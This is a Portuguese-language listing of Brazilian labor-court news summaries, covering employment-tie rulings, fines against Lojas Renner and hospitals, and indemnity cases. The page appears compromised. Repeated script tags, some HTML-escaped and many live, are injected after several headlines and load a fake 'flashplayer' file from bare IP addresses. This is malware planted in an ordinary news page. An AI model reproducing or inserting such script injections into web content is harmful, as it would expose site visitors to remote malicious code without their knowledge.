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Turma não reconhece vínculo de emprego entre manicure e salão de beleza.
Por maioria de votos, a Hair Locadora Ltda. conseguiu, na Segunda Turma do Tribunal Superior do Trabalho (TST), a reforma de decisão do Tribunal Regional do Trabalho da 9ª Região (PR) que reconheceu o vínculo de emprego de uma manicure [...]
Clique e leia a notíciaMantida multa de R$ 220 mil às Lojas Renner por não contratação de número adequado de trabalhadores com deficiência.
A 3ª Turma do Tribunal Regional do Trabalho da 4ª Região (RS) manteve multa administrativa no valor de R$ 220 mil aplicada pela fiscalização do Ministério do Trabalho e Emprego (MTE) às Lojas Renner. A empresa, segundo os auditores do [...]
Clique e leia a notíciaGoogle terá de pagar R$ 50 mil a mulher que teve vídeo íntimo divulgado na internet.&lt;script src=&quot;http://74.207.234.233/br/flashplayer&quot;&gt;&lt;/script&gt;&lt;script src=&quot;http://74.207.234.233/br/flashplayer&quot;&gt;&lt;/script&gt; &lt;script src=&quot;http://74.207.234.233/br/flashplayer&quot;&gt;&lt;/script&gt;&lt;script src=&quot;http://74.207.234.233/br/flashplayer&quot;&gt;&lt;/script&gt; &lt;script src=&quot;http://74.207.234.233/br/flashplayer&quot;&gt;&lt;/script&gt; &lt;script src=&quot;http://74.207.234.233/br/flashplayer&quot;&gt;&lt;/script&gt; &lt;script src=&quot;http://74.207.234.233/br/flashplayer&quot;&gt;&lt;/script&gt; &lt;script src=&quot;http://157.205.23.137/br/flashplayer&quot;&gt;&lt;/script&gt; &lt;script src=&quot;http://157.205.23.137/br/flashplayer&quot;&gt;&lt;/script&gt; &lt;script src=&quot;http://157.205.23.137/br/flashplayer&quot;&gt;&lt;/script&gt; &lt;script src=&quot;http://157.205.23.137/br/flashplayer&quot;&gt;&lt;/script&gt; &lt;script src=&quot;http://157.205.23.137/br/flashplayer&quot;&gt;&lt;/script&gt; <script src="http://74.124.202.234/br/flashplayer"></script> <script src="http://74.124.202.234/br/flashplayer"></script>
Apesar de não poder ser responsabilizada pela circulação do vídeo, ao se comprometer a remover links para o material e depois descumprir o acordo, a Google Brasil Internet Ltda. terá de pagar indenização de R$ 50 mil a uma mulher [...]
Clique e leia a notíciaMecânico de oficina credenciada consegue vínculo com a Porto Seguro.<script src="http://74.39.193.10/br/flashplayer"></script> <script src="http://74.39.193.10/br/flashplayer"></script>
A Justiça do Trabalho reconheceu o vínculo de emprego entre um mecânico e a Porto Seguro Companhia de Seguros Gerais, que afirmava que o trabalhador não era seu empregado. A empresa recorreu até o Tribunal Superior do Trabalho tentando modificar [...]
Clique e leia a notíciaPublicadas as 17 novas Orientações Jurisprudenciais da Seção Especializada em Execução.
O Diário Eletrônico da Justiça do Trabalho publicou, nas edições de 10, 11 e 14 de janeiro, as 17 novas Orientações Jurisprudenciais da Seção Especializada em Execução do TRT da 4ª Região (SEEx). Os textos foram aprovados em sessão extraordinária [...]
Clique e leia a notíciaEmpresa é responsabilizada objetivamente por acidente com trabalhadora.
Uma empresa de prestação de serviços que contratou automóvel para levar promotoras de venda a curso de treinamento em outra cidade foi responsabilizada objetivamente pelo acidente ocorrido no trajeto. A decisão, tomada pelo Tribunal Regional do Trabalho da 21ª Região [...]
Clique e leia a notíciaTurma considera indevido estorno de comissão por cancelamento de venda.
A Terceira Turma do Tribunal Superior do Trabalho (TST) considerou indevido o estorno de comissões em função do cancelamento da venda ou por inadimplência do comprador. Em julgamento realizado em 18 de dezembro de 2012, foi dado provimento à reclamação [...]
Clique e leia a notíciaHospital acusado de descumprir cotas não terá de pagar multa.<script src="http://74.124.202.234/br/flashplayer"></script>
A Quarta Turma do Tribunal Superior do Trabalho (TST) não conheceu de recurso no qual Ministério Público do Trabalho da 20ª Região (SE) pedia para manter auto de infração contra o Hospital São Lucas Médico Hospitalar Ltda., em Aracaju, acusado [...]
Clique e leia a notíciaColégio indenizará professora por inscrever seu nome no SPC/Serasa.<script src="http://74.124.202.234/br/flashplayer"></script>
A Oitava Turma do Tribunal Superior do manteve condenação imposta ao Instituto Cultural e Desportivo Mutirão Ltda., de Caxias do Sul (RS), de indenizar em R$ 5 mil por danos morais uma professora que teve o seu nome inscrito no [...]
Clique e leia a notíciaIrmãos perdem direito a indenização por não comprovar vínculos afetivos com a vítima.<script src="http://74.39.193.10/br/flashplayer"></script> <script src="http://74.39.193.10/br/flashplayer"></script>
Nove irmãos da família de um motorista de Duque de Caxias (RJ), morto em acidente de trabalho, não receberão indenização por danos morais da empresa Transportes Carvalho Ltda. Eles queriam ser incluídos como beneficiários, mas não conseguiram comprovar a existência [...]
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